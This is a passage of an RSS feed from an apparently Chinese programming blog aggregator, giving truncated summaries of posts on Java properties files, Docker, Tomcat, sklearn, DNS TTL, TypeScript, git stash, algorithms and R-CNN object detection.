      <description>目录 属性文件propertiesXML文件 属性文件properties 后缀为.properties的文件，称之为属性文件，它可以很方便的存储一些类似于键值对的数据。经常当做软件的配置文件使用。&#xA;首先我们要掌握属性文件的格式：&#xA;1.属性文件后缀以.properties结尾 2.属性文件里面的每一行都是一个键值对，键和值中间用=隔开。比如: admin=123456 3.#表示这样是注释信息，是用来解释这一行配置是什么意思。 4.每一行末尾不要习惯性加分号，以及空格等字符；不然会把分号，空格会当做值的一部分。 5.键不能重复，值可以重复 那么如何读取.properties文件呢？需要使用到Properties类，Properties是Map接口下面的一个实现类，所以Properties也是一种双列集合，用来存储键值对。 但是一般不会把它当做集合来使用。Properties类的对象，用来表示属性文件，可以用来读取属性文件中的键值对。需要用到的方法如下。&#xA;Properties读取属性文件的步骤如下:&#xA;1、创建一个Properties的对象出来（键值对集合，空容器） 2、调用load(字符输入流/字节输入流)方法(哪个都行,读文本还是建议用前者)，开始加载属性文件中的键值对数据到properties对象中去 3、调用getProperty(键)方法，根据键取值 注意这里管道资源不需要我们手动关闭，api内部自动关 public class PropertiesTest1 { public static void main(String[] args) throws Exception { // 1、创建一个Properties的对象出来（键值对集合，空容器） Properties properties = new Properties(); System.out.println(properties);//输出{} // 2、开始加载属性文件中的键值对数据到properties对象中去 properties.load(new FileReader(&#34;properties-xml-log-app\\src\\users.properties&#34;)); System.out.println(properties);//输出{admin=123456,...} // 3、根据键取值 System.out.println(properties.getProperty(&#34;赵敏&#34;)); System.out.println(properties.getProperty(&#34;张无忌&#34;)); // 4、遍历全部的键和值。 //获取键的集合 Set&amp;lt;String&amp;gt; keys = properties.stringPropertyNames(); for (String key : keys) { //再根据键获取值 String value = properties.getProperty(key); System.out.println(key + &#34;----&amp;gt;&#34; + value); } properties.</description>
    </item>
    <item>
      <title>手把手带你构建一个现代化的 python 项目结构</title>
      <link>https://bchobby.github.io/posts/c238877fdb3f9eeefcc7f70b2a85c96c/</link>
      <pubDate>Tue, 24 Oct 2023 01:56:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c238877fdb3f9eeefcc7f70b2a85c96c/</guid>
      <description>简介 最近在搞一堆开源项目，同时面临着不断创建 python 项目的需求，故特意在 github 上逛了一圈，找到一个特别完善的 python-package-template，因源作者不再维护，因此笔者将其进行二次开发，对 windows 环境下做了特别的适配优化，并且完善了原有项目存在的一些问题。需要说明的是，这个项目可以很好地提升 python 开发的工程能力，含金量极高，下面笔者将介绍一下这个项目。&#xA;python-package-template 内置了单元测试、代码检查、格式化、包管理、pre-commit 配置、Github Actions 等众多方便的工具，可以很方便的管理 Python 项目&#xA;python-package-template 仓库地址：https://github.com/Undertone0809/python-package-template&#xA;快速上手 cookiecutter gh:Undertone0809/python-package-template --checkout v1.0.1 你只需要安装最新版本的 cookiecutter 😉&#xA;🚀 功能 在这个 cookiecutter 🍪 模板中，我们结合了最先进的库和 Python 最佳开发实践。&#xA;开发功能 支持 Python 3.7 及更高版本。使用 Poetry 作为依赖管理器。请查看 pyproject.toml 和 setup.cfg 中的配置。使用 black、isort 和 pyupgrade 进行自动代码格式化。预配置的 pre-commit 钩子，用于代码格式化。使用 mypy 进行类型检查，使用 darglint 进行文档字符串检查，使用 safety 和 bandit 进行安全检查。使用 pytest 进行测试。预配置的 .editorconfig、.dockerignore 和 .gitignore 文件。你不需要担心这些事情。 部署功能 GitHub 集成：问题和 PR 模板。使用预定义的 构建工作流程 作为默认的 CI/CD。已经设置好安全检查、代码格式检查、代码格式化、测试、linting、Docker 构建等的所有内容，使用 Makefile。更多细节请参阅 makefile-usage。为你的包提供 Dockerfile。使用 @dependabot 始终保持依赖项最新。你只需要启用它。使用 Release Drafter 自动生成发布说明。你可以在 release-drafter.</description>
    </item>
    <item>
      <title>将本地文件复制到docker容器中并执行</title>
      <link>https://bchobby.github.io/posts/20ab930e25f7e338c8033ee9ccda1b79/</link>
      <pubDate>Mon, 23 Oct 2023 21:24:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20ab930e25f7e338c8033ee9ccda1b79/</guid>
      <description>前情提要：在搭建docker容器时，需要把所需要的包全部安装上，但为了保证是否安装完全，可以将本地的项目文件复制到docker容器中运行，及时将缺的包安装上。&#xA;在上一篇创建docker容器并发布远程服务器平台第二节安装好一些所需的常用包之后，退出容器，开始复制本地文件&#xA;一、复制本地文件到docker容器 1.查看正在使用的容器的ID 命令：docker ps -a&#xA;2.将本地文件先上传xftp（建立与当前创建容器的服务器的连接），然后复制到docker容器 命令：docker cp 【在xftp中的路径】【容器ID】:【要复制到容器的路径】&#xA;例子：docker cp /home/ubuntu/rpg_e2depth-master 47dbcce9fce4:/workspace&#xA;二、 在容器中运行代码 1.启动容器 命令：docker start 【容器ID】&#xA;2.进入容器 命令：docker exec -it 【容器名称】 bash&#xA;ls命令显示目标路径中的全部文件&#xA;cd 【文件夹】跳转到该文件夹，再ls查看文件是否都复制成功&#xA;3.在项目文件中运行训练代码 命令：python 【训练文件】&#xA;报错ImportError表示包没有安装（正好对应我们此篇文章的目的，检查包是否安装完全）&#xA;4.安装缺的包(这里导入cv2出错） 命令：pip install opencv-python-headless -i https://pypi.tuna.tsinghua.edu.cn/simple&#xA;5.重复3.4. 直到不再报导入包的错为止 6.删除本地文件 cd ..（有空格）：返回上一级目录，退出本地文件&#xA;删除命令：rm -rf 【文件名】&#xA;7.退出容器 三、镜像发布 到这里，我们的所需的包就都安装完成啦，就可以打包镜像了！ 1.修改镜像名称 不修改名称在发布镜像的时候一直报错找不到镜像Error response from daemon: No such image: pytorch_ddhm&#xA;nvidia-docker commit pytorch_ddhm ddhm_pytorch&#xA;2.将镜像保存成tar文件 nvidia-docker save ddhm_pytorch -o ddhm_pytorch.</description>
    </item>
    <item>
      <title>el-datepicker赋值之后不能再修改</title>
      <link>https://bchobby.github.io/posts/2d08339de400491b43e1e31d56f5f659/</link>
      <pubDate>Mon, 23 Oct 2023 20:38:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d08339de400491b43e1e31d56f5f659/</guid>
      <description>赋值需改用$set赋值</description>
    </item>
    <item>
      <title>Tomcat和HTTP协议</title>
      <link>https://bchobby.github.io/posts/9b401dcbaf1ba2ea6db1351def2c9e1b/</link>
      <pubDate>Mon, 23 Oct 2023 20:34:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b401dcbaf1ba2ea6db1351def2c9e1b/</guid>
      <description>1.介绍 1.Java EE 规范 JavaEE（java Enterprise Edition）：java企业版&#xA;JavaEE 规范是很多的java开发技术的总称。这些技术规范都是沿用自J2EE的。一共包括了13个技术规范&#xA;2.WEB概述 WEB在计算机领域中代表的是网络&#xA;像我们之前所用的WWW，它是World Wide Web三个单词的缩写，称为：万维网&#xA;网络相关的技术的出现都是为了让我们在网络的世界中获取资源，这些资源的存放之处，叫做网站&#xA;我们通过输入网站的地址（网址），就可以访问网站中提供的资源（不区分局域网或广域网）&#xA;3.资源分类 静态资源&#xA;网站中提供给人们展示的资源是一成不变的，也就是说不同人或者在不同时间，看到的内容都是一样的&#xA;作为开发者来说，编写的HTML，CSS，JavaScript都属于静态资源&#xA;动态资源&#xA;网站中提供给人们展示的资源是由程序员产生的，在不同的时间或不同的人由于身份的不同，所看到的内容是不一样的，作为开发者来说，我们编写的JSP，servlet等都属于动态资源&#xA;4.系统结构 之前开发的都是java工程。这些工程在企业中称为项目或者产品。它都是有系统架构的&#xA;基础结构划分&#xA;CS结构&#xA;BS结构&#xA;技术选型划分&#xA;Model1模型&#xA;Model2模型&#xA;MVC模型&#xA;三层架构+MVC模型&#xA;部署方式划分&#xA;一体化结构&#xA;垂直拆分结构&#xA;分布式结构&#xA;微服务结构&#xA;CS结构：（Client Server） 客户端+服务器方式&#xA;BS结构：（Browser Server） 浏览器+服务器的方式&#xA;2.tomcat 1.服务器介绍 服务器是计算机的一种，它比普通计算机运行更快，负载更高，价格更贵。服务器在网络中为其他客户机（PC机，智能设备等）提供计算或者应用服务。服务器具有高速度CPU运算能力，长时间的可靠运行，强大的I/O外部数据吞吐能力以及更好的扩展性&#xA;这里所说的服务器，其实是web服务器，或者应用服务器。它本质就是一个软件，通过和硬件的相结合，从而达到帮助我们来发布应用的功能，让用户通过客户机访问我们的应用&#xA;2.Tomcat概述 Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为目前比较流行的Web 应用服务器。&#xA;下载：&#xA;Apache Tomcat® - Welcome!</description>
    </item>
    <item>
      <title>sklearn-5模型评估与改进</title>
      <link>https://bchobby.github.io/posts/7a1a0fc0bd8cb5a36da60eca393c98cf/</link>
      <pubDate>Mon, 23 Oct 2023 17:33:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a1a0fc0bd8cb5a36da60eca393c98cf/</guid>
      <description>通过前述章节可以发现，可调用模型的.score方法获取测试集评分，还有其他方法可以更好的评估模型，有交叉验证和网格搜索&#xA;1 交叉验证 特点 1数据被多次划分，且需要训练多个模型&#xA;k折交叉验证 k由用户指定，通常取5-10， 将数据均分为k份，每份叫做折，然后开始训练数据，训练k次，每第k次训练时，取第k折数据作为测试集，其他数据均为训练集，最后可以得到k个模型训练的打分，一般可以用k次训练的平均值作为交叉验证的结果&#xA;1.1 优缺点 优点&#xA;1 验证次数多，验证均匀，不会像train_test_split一样，可能偶尔某个测试集异常数据较多，导致测试结果不稳定&#xA;2 训练集比例不同。RFE训练数据比例高于train_test_split的划分比例（75%）&#xA;缺点&#xA;1 交叉验证多次训练，更消耗时间，大约比单次训练验证慢k倍&#xA;2 交叉验证只是验证，不会返回经过数据训练的数据模型，只能获取得分&#xA;1.2 k折交叉验证和其他策略 1.2.1 分层k折交叉验证 分层k折和一般k折不同点在于，一般k折直接按顺序k分支一取测试集，如果原始数据分布不均匀，k折会不太稳定，一种解决方法是分层k折。分层k折是保证每个测试集和训练集的分类的百分比占比都为k分之一。cross_val_score默认使用的k折是一般k折交叉验证&#xA;1.2.2 交叉验证分离器 可将一些参数传给交叉分离器，交叉分离器可作为cv参数传入，类似于一种解耦&#xA;默认使用3折交叉验证iris时效率为0，因为数据已经有序分为3类，所以每次训练集都是一样的，只有一个种类，就啥也学不到&#xA;1.2.2.1 默认k折分离器 def test_cross_kfold(self): kfold = KFold(n_splits=5) logreg = LogisticRegression().fit(self.iris.data, self.iris.target) print(f&#39;5 fold cross score: {cross_val_score(logreg, self.iris.data, self.iris.target, cv=kfold)}&#39;) print(f&#39;3 fold cross score: {cross_val_score(logreg, self.iris.data, self.iris.target, cv=KFold(n_splits=3))}&#39;) 1.2.2.2 留一法交叉验证 概念 每次k折保留单个样本（集测试集只有一个样本）&#xA;优点 适合小型数据集，准确度高&#xA;缺点 耗时，需很多次模型创建与训练&#xA;def test_cross_leave_one(self): loo = LeaveOneOut() logreg = LogisticRegression().</description>
    </item>
    <item>
      <title>sknearl-7处理文本数据</title>
      <link>https://bchobby.github.io/posts/7488d080ca8ec309776772f86105cfcd/</link>
      <pubDate>Mon, 23 Oct 2023 17:33:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7488d080ca8ec309776772f86105cfcd/</guid>
      <description>本章代码大部分没跑，只供学习&#xA;第四节特征工程里提到，有连续特征和离散特征，对于文本数据，文本特征可以看作第三种特征&#xA;1 用字符串表示的数据类型 2 例子 电影评论情感分析 给定一个影评（输入），输出影评是正面还是负面&#xA;sklearn无法处理文本数据，需要将文本数据转换为数值表示，然后再用机器学习算法处理&#xA;3 将文本数据表示为词袋 词袋 即统计每个单词出现的频率&#xA;词袋构造步骤&#xA;1 划分原始字符串：将原始字符串用空格或标点负号分隔，获取单词拼写&#xA;2 构建词表，可进行编号&#xA;3 统计单词频率&#xA;3.1 词袋应用于玩具数据集 通过sklearn.feature_extraction.text.CountVectorizer构造词袋。构造完了可访问.vocabulary_访问词表，然后调用transform获取词袋，看下词表和词袋&#xA;def test_workds_bag(self): bards_words = [&#39;the fool doth think he is wise,&#39;, &#39;but the wise man knows himself to be a fool&#39;] vect = CountVectorizer().fit(bards_words) print(f&#39;vocabulary type: {type(vect.vocabulary_)}, vocabulary: {vect.vocabulary_}&#39;) bag_words_trans = vect.transform(bards_words) print(f&#39;words bag transform type:{type(bag_words_trans)},\n&#39; f&#39;words bag transfrom shape:{bag_words_trans.shape},\n&#39; f&#39;words bag transform repr: {repr(bag_words_trans)}\n&#39; f&#39;words bag transform:\n {bag_words_trans.</description>
    </item>
    <item>
      <title>CSP认证 202212-01 现值计算 满分题解</title>
      <link>https://bchobby.github.io/posts/f40b994dcb52bf69b8a19ff09634c933/</link>
      <pubDate>Mon, 23 Oct 2023 17:17:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f40b994dcb52bf69b8a19ff09634c933/</guid>
      <description> 这个题目思路比较清晰，就是把后几年的盈利或者亏损转换到今年，看看总体具体是盈利还是亏损，确实读题目要花点时间，但是理解了题目敲代码就很快，O(n)时间就可以解决。&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; double pow(double base, int pow){ //定义一个求base的pow次方的函数，直接调用。 double result = 1; for(int i = 0; i &amp;lt; pow; i++){ result *= base; } return result; } int main(){ int n; double i,totle = 0; cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; i; //输入年数，和利率 int money_change; for(int j = 0; j &amp;lt; n + 1; j++){ cin &amp;gt;&amp;gt; money_change; totle += money_change * 1 / pow(1 + i,j); } cout &amp;lt;&amp;lt; totle; return 0; } </description>
    </item>
    <item>
      <title>DNS入门学习：什么是TTL值？如何设置合适的TTL值？</title>
      <link>https://bchobby.github.io/posts/e86f5e305f453647feca1596fcc2f719/</link>
      <pubDate>Mon, 23 Oct 2023 17:16:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e86f5e305f453647feca1596fcc2f719/</guid>
      <description>TTL值是域名解析中的一个重要参数，TTL值设置的合理与否对于域名解析的效率和准确性有着非常重要的影响，因此对于网站管理者而言，了解什么是TTL值以及如何设置合理的TTL值对于做好域名解析管理，确保网站的安全稳定运行至关重要。&#xA;TTL是Time To Live的缩写，翻译过来就是生存时间，用于DNS解析之中就是指DNS解析记录（DNS缓存）在DNS服务器上的保留时间。要想了解TTL的原理，需要先弄清楚DNS解析工作中的DNS缓存机制。&#xA;在实际的域名解析过程中，用户访问域名后，并不是每次都需要向权威解析服务器去请求最新的解析记录，这样不但会产生比较大的解析时延，同样也会对权威解析服务器造成较大的解析压力，因此在DNS解析的多个环节中都使用了DNS缓存技术用来提高DNS解析的效率。&#xA;当用户第一次访问域名时，由于DNS服务器中还不存在DNS缓存，所以最终会请求到负责该域名的权威解析服务器，获得该域名的解析记录。DNS服务器（递归解析服务器）将该结果返回给用户的同时，也会在自身储存一段时间，这就是DNS缓存，而储存的这段时间就是TTL值。&#xA;在DNS缓存失效前即TTL值有效期内，如果有用户再次请求相同的域名，DNS服务器不会再请求权威解析服务器，而是直接从自身缓存中找到结果告知用户，这样就省去了每次请求权威服务器的繁琐过程，解析效率大幅提升。&#xA;那既然这样，是不是TTL值越大越好呢？当然不是，因为TTL值除了和DNS解析的速度有关外，还影响着DNS解析的安全性和准确性。&#xA;DNS缓存虽然能够提升解析的速度，但是也存在很大的安全隐患。DNS服务器在缓存了域名解析记录之后，无法实时监测权威解析服务器的记录，这就会导致权威解析服务器的DNS记录发生变化时，DNS缓存中的记录不能实时同步更新。如果在这段时间中，有用户请求域名，DNS服务器就会从DNS缓存中将过期的解析记录返回给用户，从而导致解析出错，站点不可达或者用户请求到错误的服务器。&#xA;此外，DNS缓存也为攻击者利用DNS机制进行攻击提供了可能。利用DNS服务器向权威服务器请求的间隙时间，攻击者可以将错误的解析记录注入DNS缓存之中，当用户请求域名，DNS服务器就会不加核实地将DNS缓存中错误的解析记录告知用户，从而将用户引导至受攻击者控制的钓鱼网站，造成个人信息的泄露和财产的损失。&#xA;因此，从DNS解析安全和准确性来讲，TTL值不能设置得太大。那如果TTL设置得太小又有什么影响呢？&#xA;TTL值越小，DNS服务器就会越频繁地请求权威服务器，就能更及时地同步权威服务器中的解析记录变化，获取最新的记录结果，确保DNS解析的准确性。同时TTL值越小，请求权威服务器的间隙越小，攻击者进行DNS缓存投毒的可能性越小。&#xA;当然TTL值设置得太小，也有一定的弊端。因为TTL值越小，请求权威服务器越频繁，对权威服务器造成的压力越大，甚至可能造成权威服务器的线路拥堵和宕机。而且TTL值太小，会经常发起全球迭代查询，经历多个环节的解析过程，产生较大的解析时延，反而失去了DNS缓存的原本作用。&#xA;综上所述，TTL值并没有适用于所有企业的固定标准，而是要根据网站自身情况而定。如果网站服务器稳定，轻易不会更换服务器，那么就可以设置比较大的TTL值，以解析速度为先。如果网站的解析经常变，服务器经常换，或者是网站对解析安全要求比较高，那么可以设置比较小的TTL值，这样就可以提升DNS解析的安全性和准确性。如果没有特殊的要求，一般不会单独设置TTL值，采用服务商默认的TTL值即可。</description>
    </item>
    <item>
      <title>7、TS内容学习总结</title>
      <link>https://bchobby.github.io/posts/6de68f6df70dc5319da160e015b07c9c/</link>
      <pubDate>Mon, 23 Oct 2023 15:37:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6de68f6df70dc5319da160e015b07c9c/</guid>
      <description>前期背景TS是什么？js和java区别为什么学习TSTypeSscript类型 1、基础类型2、数组类型3、类型别名4、函数类型5、void类型 &amp;amp;&amp;amp; never类型voidnever 6、可选参数7、对象8、接口interfaceinterface VS type接口继承type 如何和 interface 一样实现继承的效果？ 9、元组Tuple10、字面量11、枚举类型enum数字枚举字符串枚举枚举实现原理 12、any类型13、类型断言 | 交叉类型交叉类型 14、泛型泛型约束多个类型变量泛型接口 知识总结参考相关的面试题interface和type的区别 前期背景 TS是什么？ TS是JS的类型的超集，支持ES6语法，支持面向对象编程的概念，如类、接口、继承、泛型等。&#xA;js和java区别 JS：解释型，弱类型，动态语言Java：编译型，强类型，静态语言 解释：&#xA;解释型：我们写的代码，无需进行编译，直接运行，也需要一个翻译器，一遍翻译一边执行编译型：人类写的是英语，机器不认识，需要一个编译器，将人们写的语言转换成机器识别的语言，这个过程叫编译弱类型：声明变量时无需指定类型强类型：声明变量时必须指定类型动态语言：在代码执行的过程中可以动态添加对象的属性静态语言：不允许在执行过程中随意添加属性 结论：js的特点是灵活、高效，很短的代码就能实现复杂功能，缺点是没有代码提示，容易出错且编辑工具不会给任何提示，而Java则相反。&#xA;TS可以简单理解为将JavaScript转变为Java一类语言的过程。&#xA;为什么学习TS 从编译语言的动静来区分，TS属于静态类型的编程语言，JS属于动态类型的编程语言。 静态类型：编译期做类型检查动态类型：执行期做类型检查 对于JS来说，需要等到代码真正去执行的时候才能发现错误（晚）， 对于TS来说，在代码编译的时候（代码执行前）就可以发现错误（早）； 并且，配合VSCode等开发工具，TS可以提前到在编写代码的同时就发现代码中的错误，减少找Bug，改Bug时间，另外还支持代码提示。&#xA;Vue3的源码使用TS重写，Angular默认支持TS、React与TS完美配合，TypeScript已经成为大中型前端项目的首选变成语言。&#xA;注意：Vue2对TS的支持不好~&#xA;TypeSscript类型 类型注解总结：&#xA;将来不能将其他类型的值赋予这个变量代码有提示，在变量后面.可以直接看到当前类型所支持的所有属性和方法 可以将TS中的常用基础类型细分为两类：&#xA;JS已有类型 原始类型，简单类型（number、string、boolean、null、undefined）复杂数据类型（数组、对象、函数等） TS新增类型 联合类型自定义类型（类型别名）接口元组字面量类型枚举voidanynever名字空间 1、基础类型 // 字符串类型 let a:string = &#39;123&#39;; // 数字类型 let num: number = 123; // 与 void 的区别是，undefined 和 null 是所有类型的子类型。 // 也就是说 undefined 类型的变量，可以赋值给 string 类型的变量： //这样是没问题的 let test: null = null let num2: string = &#34;</description>
    </item>
    <item>
      <title>js给一段话，遇到的第一个括号处加上换行符</title>
      <link>https://bchobby.github.io/posts/49e1bb6a4b216fd552e97be5db448fe4/</link>
      <pubDate>Mon, 23 Oct 2023 15:11:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49e1bb6a4b216fd552e97be5db448fe4/</guid>
      <description> list.forEach((item,index0)=&amp;gt;{ const productName = item.name; const index = productName.indexOf(&#39;（&#39;); if (index == -1) { return productName; } const before = productName.slice(0, index); const after = productName.slice(index); item.name=before + &#39;\n&#39; + after; }); </description>
    </item>
    <item>
      <title>java: 无法访问org.springframework.context.ApplicationContext</title>
      <link>https://bchobby.github.io/posts/4d8a012a8d4d9f75d04bc55e11b80d7c/</link>
      <pubDate>Mon, 23 Oct 2023 11:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d8a012a8d4d9f75d04bc55e11b80d7c/</guid>
      <description>初学Spring遇到如下报错：&#xA;java: 无法访问org.springframework.context.ApplicationContext&#xA;错误的类文件: /E:/Maven/repository/org/springframework/spring-context/6.0.9/spring-context-6.0.9.jar!/org/springframework/context/ApplicationContext.class&#xA;类文件具有错误的版本 61.0, 应为 52.0&#xA;请删除该文件或确保该文件位于正确的类路径子目录中。&#xA;找了半天原因，尝试过重新安装和删除文件夹，都没改变，最后发现是因为跟jdk版本不匹配造成的。&#xA;解决办法：到file——project Structure内，看自己的sdk版本，我用的是jdk8，因此不能用spring6.x开头，只能用spring5以下，修改spring依赖版本后可以正常使用&#xA;修改前：&#xA;修改后：</description>
    </item>
    <item>
      <title>git stash 问题记录</title>
      <link>https://bchobby.github.io/posts/7c889de807a59afb643eb21fd99e5389/</link>
      <pubDate>Mon, 23 Oct 2023 10:39:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c889de807a59afb643eb21fd99e5389/</guid>
      <description>记录一下采坑记录&#xA;我在本地仓库做了一些修改，但还没有进行提交和推送。当我尝试使用git pull拉取最新代码时，Git会拒绝操作，提示你使用git stash命令。git stash命令的作用是将当前的修改暂存起来，以便我可以切换到其他分支或者拉取最新代码。&#xA;然后我可以使用git stash pop命令将之前暂存的修改重新应用到你的工作目录中。&#xA;这个过程是正确的，但是有一些细节需要注意：&#xA;在执行git stash之前，确保你的工作目录是干净的，没有未提交的修改。你可以使用git status命令来检查工作目录的状态。&#xA;如果你的修改涉及到新创建的文件，这些文件可能不会被git stash命令暂存起来。你可以使用git add命令将这些文件添加到暂存区，然后再执行git stash。&#xA;在执行git stash pop之前，确保你当前的工作目录是干净的，没有未提交的修改或者未解决的冲突。如果有冲突，你需要先解决冲突，然后使用git stash drop命令丢弃之前的暂存记录，再执行git stash pop。&#xA;总结一下，使用git stash命令可以将当前的修改暂存起来，以便你可以切换分支或者拉取最新代码。然后使用git stash pop命令将之前暂存的修改重新应用到工作目录中。在执行这些命令之前，确保工作目录是干净的，没有未提交的修改或者未解决的冲突。</description>
    </item>
    <item>
      <title>算法刷题总结 (七) 双指针</title>
      <link>https://bchobby.github.io/posts/fff8903b0ced295b1544e365c06df54c/</link>
      <pubDate>Mon, 23 Oct 2023 09:43:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fff8903b0ced295b1544e365c06df54c/</guid>
      <description>算法总结7 双指针 一、双指针的概念1.1、什么是双指针？1.2、常见类型1.2.1、快慢指针1.2.2、左右端点指针（相向双指针）* 详解二分法（二分查找 / 二分答案） 1.2.3、区间指针 - 滑动窗口（同向双指针）汇总 二、经典例题2.1、快慢指针（1）、链表判环141. 环形链表142. 环形链表 II287. 寻找重复数876. 链表的中间结点 （2）、读写指针26. 删除有序数组中的重复项 - 仅保留一次80. 删除有序数组中的重复项 II - 保留两次重复递推：删除且保留k次重复202. 快乐数 2.2、左右端点指针（相向双指针）（1.1）、二分法34. 在排序数组中查找元素的第一个和最后一个位置33. 搜索旋转排序数组 - （非有序序列）162. 寻找峰值 - （非有序序列）475. 供暖器 （使用python库 bisect） （1.2）、二分答案购物系统的降级策略875. 爱吃香蕉的珂珂组装最大可靠性设备最佳植树距离食堂供餐数据最节约的备份方法 - 二分答案+dfs （2）、有序数组暴力枚举 - N数和问题167. 两数之和 II - 输入有序数组1. 两数之和15. 三数之和18. 四数之和递推：N数之和16. 最接近的三数之和881. 救生艇 （3）、其他暴力枚举75. 颜色分类 - 类似于荷兰国旗问题977. 有序数组的平方11. 盛最多水的容器42. 接雨水 2.3、区间指针 - 滑动窗口 （同向双指针）（1）、定长滑动窗口1456. 定长子串中元音的最大数目剑指 Offer 22. 链表中倒数第k个节点 （2）、变长滑动窗口1004. 最大连续1的个数 III209. 长度最小的子数组 - （从符合条件到不符合条件）713.</description>
    </item>
    <item>
      <title>R-CNN(目标检测算法)介绍</title>
      <link>https://bchobby.github.io/posts/aec719b5cd399228c355bc2247627e80/</link>
      <pubDate>Sun, 22 Oct 2023 22:42:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aec719b5cd399228c355bc2247627e80/</guid>
      <description>一、什么是目标检测 1.1 目标检测概念 目标检测 (Object Detection) 是计算机视觉领域中的一项任务，旨在从图像或视频中准确地定位和识别多个感兴趣的目标物体。目标检测不仅需要确定目标的类别，还要找到目标在图像中的位置.由于各类目标不同的外观，颜色，大小以及在成像时光照，遮挡等具有挑战性的问题，目标检测一直处于不断的优化和研究中.&#xA;1.2 目标检测步骤: 数据收集和标注：首先，需要收集包含目标对象的图像或视频数据集。这些数据集应该覆盖所需检测的目标类别，并且需要进行手动标注，即为每个目标在图像中标记边界框及对应的类别标签。&#xA;候选区域生成：通过使用候选区域生成算法（如选择性搜索、边缘框架、基于深度学习的区域建议网络等），从输入图像中生成一组可能包含目标的候选区域。这些候选区域是用来进一步分析和检测目标的区域。&#xA;特征提取：对于每个候选区域，使用卷积神经网络（CNN）或其他特征提取方法来提取区域的特征表示。这些特征通常是在预训练的网络上提取得到的，可以捕捉到图像中的局部和全局信息。&#xA;目标分类与回归：基于提取的特征，使用分类器（如支持向量机(SVM)、softmax分类器）进行目标分类，确定候选区域中的目标类别。同时，还进行边界框回归，以更准确地定位目标在候选区域中的位置和尺寸。&#xA;非极大值抑制：由于一个目标可能会在多个候选区域中被检测到，需要进行非极大值抑制。该过程通过选择具有最高置信度的目标检测结果，并消除重叠的检测结果来排除冗余。&#xA;后处理和可视化：最后，对于每个被保留的目标检测结果，可以进行后处理操作，如去除低置信度的检测结果、进一步分析目标属性等。同时，还可以将检测结果以边界框或标签的形式可视化，使其易于理解和解释。&#xA;边界框是什么?&#xA;边界框（bounding box）是在目标检测和物体识别中经常使用的一种表示方法，用于定位目标在图像中的位置和范围。边界框是一个矩形框，通常由左上角和右下角两个点的坐标表示。&#xA;边界框提供了目标在图像中的大致位置信息，并且可以通过其坐标来确定目标的尺寸和形状。在目标检测任务中，边界框通常与目标类别关联，用于表示检测到的目标及其对应的类别。&#xA;边界框可以简洁地描述目标的位置和区域，使得我们可以准确地标记、跟踪和定位目标。它是许多目标检测算法的核心组成部分，例如RCNN系列、YOLO、SSD等算法。&#xA;边界框通常用一组数值来表示，其中最常见的是四个浮点数或整数，分别表示左上角和右下角点的(x, y)坐标。有时候还会包括目标的类别标签和置信度得分等附加信息。&#xA;通过边界框，我们可以方便地进行目标的定位、裁剪、划分和测量等操作，为目标检测和物体识别任务提供了重要的信息基础。&#xA;1.3 目标检测算法分类 1.传统方法与深度学习方法:&#xA;传统方法：传统的目标检测方法主要基于手工设计的特征和机器学习算法，如Haar特征、HOG（Histogram of Oriented Gradients）和SIFT（Scale-Invariant Feature Transform）等。这些方法通常在目标检测性能方面存在一定的限制。深度学习方法：近年来，随着深度学习的发展，基于深度神经网络的目标检测方法取得了显著的进展。这些方法通过端到端的训练，自动学习图像特征表示和目标分类器，例如RCNN系列、YOLO系列、SSD、RetinaNet和EfficientDet等。 2.两阶段方法与单阶段方法:&#xA;两阶段方法(Tow Stage)：两阶段方法将目标检测任务分为候选区域生成和目标分类定位两个阶段。首先，通过选择性搜索、区域建议网络（RPN）等方法生成候选区域，然后对每个候选区域进行分类和边界框回归。典型的两阶段方法有RCNN系列和Faster R-CNN等。单阶段方法(One Stage)：单阶段方法直接在图像上密集地预测目标的类别和边界框，通常通过将图像分割为网格单元，并为每个单元生成预测来实现。常见的单阶段方法包括YOLO系列和SSD等。 3.基于特征金字塔(Feature Pyramid)的方法:&#xA;特征金字塔是指在不同尺度上提取特征并融合它们以检测不同大小的目标。基于特征金字塔的方法可以更好地处理多尺度目标。例如，FPN（Feature Pyramid Network）和RetinaNet就是基于特征金字塔的目标检测算法。 4.单目标检测与多目标检测：&#xA;单目标检测：单目标检测算法旨在检测和定位图像中的单个目标实例。多目标检测：多目标检测算法能够同时检测和定位图像中的多个目标实例，例如目标检测中的行人、车辆、动物等. 二、什么是R-CNN 2.1 R-CNN概念 RCNN（Region-based Convolutional Neural Networks）是一种经典的目标检测算法，最初由Girshick等人在2014年提出。它通过将图像分割成多个候选区域，并对每个候选区域进行分类和边界框回归来实现目标检测。&#xA;2.2 R-CNN结构 整体步骤:&#xA;候选区域生成：在图像中提取候选区域，这些候选区域通常是通过选择性搜索（Selective Search）等算法生成的。选择性搜索将图像分割为多个不同尺度和形状的区域，并根据颜色、纹理、大小等特征进行合并，以产生可能包含目标的候选区域。&#xA;特征提取：对每个候选区域应用卷积神经网络（CNN）来提取特征表示。通常使用预训练的CNN模型，如AlexNet、VGGNet或ResNet等，在候选区域上进行前向传播，以获得固定长度的特征向量。&#xA;目标分类:提取的特征向量作为输入，经过一个支持向量机（Support Vector 